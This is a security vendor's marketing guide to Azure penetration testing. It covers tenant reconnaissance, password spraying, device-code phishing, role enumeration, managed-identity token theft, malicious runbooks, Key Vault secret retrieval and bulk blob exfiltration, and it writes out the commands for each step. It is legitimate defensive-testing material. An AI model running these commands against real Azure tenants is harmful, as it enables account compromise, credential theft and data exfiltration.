Cloud environments have fundamentally changed the attack surface for modern organizations. Microsoft Azure, one of the most widely adopted cloud platforms in the world, introduces a complex web of identity systems, storage configurations, virtual networks, and managed services that require a specialized approach to security testing. Understanding how to think like an attacker in Azure is no longer optional for security teams. It is a core competency.
This guide breaks down the Azure pentesting methodology from reconnaissance through exploitation, covering the mindset, tooling, and commands that separate surface-level assessments from genuinely impactful engagements.
Traditional network pentesting operates largely within defined perimeters. Azure dissolves those perimeters. When you pentest an Azure environment, you are not just testing hosts and ports. You are testing identity and access management policies, role assignments, service principal configurations, storage account permissions, function app exposure, and the trust relationships between dozens of interconnected resources.
The attack surface in Azure is defined by configuration far more than by software vulnerabilities. A misconfigured Storage Account with anonymous blob access or an over-permissioned Managed Identity can be more damaging than an unpatched RCE in a traditional environment.
The mindset shift required here is significant. Azure pentesters must think in terms of:
If your organization is running workloads on Azure and has not conducted a dedicated cloud security assessment, Redfox Cybersecurity's penetration testing services offer specialized Azure security testing built around this exact methodology.
Every Azure pentest begins with understanding the target tenant. Even from an unauthenticated position, significant information can be gathered about an organization's Azure footprint.
Before touching any authenticated endpoint, pentesters gather publicly available data. This includes identifying the organization's Azure tenant ID, associated domains, and potentially exposed resources.
Using the Azure Active Directory login endpoint, you can enumerate whether a domain is associated with Azure AD without any credentials:
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@targetdomain.com&json=1"
[cta]
This returns metadata including the tenant name and federation information, revealing whether the organization uses federated authentication or pure Azure AD.
To identify the tenant ID for a given domain:
curl "https://login.microsoftonline.com/targetdomain.com/.well-known/openid-configuration"
[cta]
The issuer field in the response contains the tenant ID embedded in the URL.
Tools like AADInternals and MicroBurst are essential for this phase.
# Install AADInternals
Install-Module AADInternals
# Enumerate tenant information
Invoke-AADIntReconAsOutsider -DomainName "targetdomain.com"
[cta]
This command returns information about the tenant, including verified domains, authentication types, and whether Desktop SSO or seamless SSO is enabled. These details inform the attack strategy significantly.
For storage account discovery:
# Use MicroBurst to find exposed storage accounts
Invoke-EnumerateAzureBlobs -Base targetcompanyname
[cta]
This iterates through common naming conventions and identifies publicly accessible Azure Blob Storage containers, which remain one of the most common and impactful misconfigurations in cloud environments.
Once reconnaissance provides a picture of the tenant, the next objective is gaining initial access. In Azure, this almost always means obtaining valid credentials or tokens rather than exploiting a traditional vulnerability.
Password spraying remains one of the most effective initial access techniques against Azure AD environments, particularly when MFA is not enforced uniformly.
# Using MSOLSpray for Azure AD password spraying
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password "Winter2024!" -OutFile spray-results.txt
[cta]
This is performed carefully during engagements to avoid account lockouts, typically at low velocity with delays between attempts.
A particularly effective technique against modern Azure AD environments is Device Code authentication abuse:
# Using TokenTactics for device code phishing
Import-Module TokenTactics.ps1
Get-AzureToken -Client MSGraph
[cta]
This generates a device code that, when activated by the target through a phishing lure, grants the attacker a valid access token for Microsoft Graph and Azure management APIs without requiring the user's password.
With valid credentials or tokens in hand, the real enumeration begins. This phase maps out what the compromised identity can see and touch within the Azure environment.
# Login with compromised credentials
az login -u compromised@targetdomain.com -p password
# List all subscriptions accessible
az account list --output table
# List all resource groups in the subscription
az group list --output table
# List all resources in the environment
az resource list --output table
[cta]
Understanding what permissions the compromised identity holds is critical. More importantly, identifying over-permissioned accounts and service principals creates a roadmap for privilege escalation.
# Check role assignments for the current identity
az role assignment list --assignee compromised@targetdomain.com --all --output table
# Enumerate all role assignments across the subscription
az role assignment list --all --include-inherited --output table
[cta]
# Using AzureHound for comprehensive graph enumeration
./azurehound -u "compromised@targetdomain.com" -p "password" list --tenant "tenantid" -o output.json
[cta]
AzureHound, the Azure equivalent of BloodHound, maps relationships between identities and resources, visually exposing privilege escalation paths that would take hours to find manually.
If you want a professional team to handle this phase for your organization with full reporting and remediation guidance, Redfox Cybersecurity's cloud pentesting engagements cover the complete kill chain from reconnaissance through privilege escalation.
This is where Azure pentesting diverges most sharply from traditional assessments. Privilege escalation in Azure rarely involves kernel exploits. It involves identifying misconfigured role assignments, abusable Managed Identities, and exploitable automation accounts.
Managed Identities are a common and often over-permissioned feature in Azure. If a Virtual Machine or Function App has a Managed Identity assigned, and that identity holds privileged roles, it becomes an escalation path.
From within a compromised VM or function context:
# Request a token using the Managed Identity endpoint
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"
[cta]
If the Managed Identity holds the Owner or Contributor role on the subscription, this token grants full control of all resources.
Automation Accounts with Run As accounts often hold high-privilege service principals. If an attacker can create or modify runbooks, they can execute code in the context of that service principal.
# Create a malicious runbook via Azure CLI
az automation runbook create --automation-account-name target-account --resource-group target-rg --name malicious-runbook --type PowerShell
# Publish and execute
az automation runbook publish --automation-account-name target-account --resource-group target-rg --name malicious-runbook
az automation runbook start --automation-account-name target-account --resource-group target-rg --name malicious-runbook
[cta]
Function Apps running with system-assigned identities and liberal RBAC policies are frequent privilege escalation vectors in mature Azure environments. Identifying function apps with HTTP triggers that are publicly exposed and running as identities with subscription-level permissions creates immediate escalation opportunities.
Lateral movement in Azure means pivoting between resources, subscriptions, and potentially tenants using the privileges acquired.
Azure Key Vault often stores credentials for other services, databases, and APIs. If the compromised identity has Get permissions on secrets:
# List secrets in a Key Vault
az keyvault secret list --vault-name target-keyvault
# Retrieve a secret value
az keyvault secret show --vault-name target-keyvault --name db-password
[cta]
The credentials stored here frequently provide access to databases, third-party services, and other Azure resources not directly accessible through RBAC.
Storage Accounts with misconfigured access policies or Shared Access Signature tokens that are overly permissive are common lateral movement opportunities:
# List all storage accounts
az storage account list --output table
# Check public access level on containers
az storage container list --account-name targetstorage --output table
# Access blob content without authentication if public
az storage blob download --container-name publiccontainer --name sensitive-file.txt --account-name targetstorage --file ./local-copy.txt --no-auth-required
[cta]
The final phase of an Azure pentest demonstrates the real-world impact of the vulnerabilities found. This is not about causing damage but about clearly showing stakeholders what an attacker could accomplish.
Common data exfiltration paths in Azure include:
Storage Account Exfiltration
# Bulk download from a misconfigured container
az storage blob download-batch --account-name targetstorage --source sensitive-container --destination ./exfil/
[cta]
Database Access via Exposed Connection Strings
# Connect to Azure SQL using credentials from Key Vault
sqlcmd -S target-server.database.windows.net -d targetdb -U sqladmin -P "retrieved-password" -Q "SELECT TOP 100 * FROM Users"
[cta]
Exfiltrating Secrets from App Service Configuration
az webapp config appsettings list --name target-webapp --resource-group target-rg
[cta]
App Service environment variables routinely contain API keys, connection strings, and third-party service credentials that extend the blast radius well beyond Azure itself.
Technical commands and tools matter, but the mindset behind an Azure pentest determines its depth and value. The most effective Azure pentesters approach each engagement with a few core principles.
Think in Chains, Not Isolated Vulnerabilities
A single misconfiguration rarely tells the full story. The value is in the chain: a publicly exposed storage account reveals a connection string, which accesses a database holding service account credentials, which escalates to subscription-level Owner. Each finding builds on the last.
Assume the Defender Is Watching
Azure Defender and Microsoft Sentinel generate alerts for many common attack techniques. Understanding which operations generate telemetry and which are harder to detect informs how an engagement is conducted and how findings are prioritized for defenders.
Prioritize Identity Over Everything Else
In Azure, identity is the perimeter. Every assessment should treat Azure Active Directory as the primary target. Compromising a single highly privileged identity can render every other security control irrelevant.
Document Everything for Actionable Reporting
The best pentest in the world delivers no value if the findings cannot be acted upon. Capture command output, screenshots, and access tokens at every step. Reproducible evidence is what turns a pentest into a remediation roadmap.
Generic penetration testing engagements built around traditional infrastructure simply do not cover the Azure attack surface adequately. The tools, techniques, and mindset are fundamentally different. Organizations running Azure workloads need assessments specifically designed for cloud environments.
Redfox Cybersecurity provides dedicated Azure penetration testing that covers the complete methodology described in this guide. From tenant enumeration and identity abuse through privilege escalation and impact demonstration, engagements are scoped to reflect real attacker behavior against your specific Azure configuration.
Whether you are securing a startup's first Azure subscription or a large enterprise environment with hundreds of resource groups and complex service principal relationships, a structured Azure pentest surfaces the misconfigurations and identity weaknesses that automated scanners miss.
Azure security is not a checkbox. It is an ongoing process that requires understanding how attackers think, what they target, and how they chain together seemingly minor misconfigurations into full subscription compromise. The methodology covered here reflects how real threat actors approach Azure environments today.
The commands and techniques in this guide represent only a fraction of what a comprehensive Azure pentest involves. Storage account analysis, Azure DevOps pipeline abuse, Conditional Access policy bypass, PIM abuse, cross-tenant attacks, and many other vectors require dedicated expertise and a structured engagement model to surface and remediate properly.
If your organization runs workloads in Azure and has not validated its security posture through professional penetration testing, the risk is not theoretical. Misconfigurations, over-permissioned identities, and exposed management interfaces are found in the majority of Azure environments assessed for the first time.
Take the next step toward securing your Azure environment. Contact Redfox Cybersecurity to learn how a tailored Azure penetration testing engagement can identify and prioritize the risks that matter most to your business before an attacker does.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
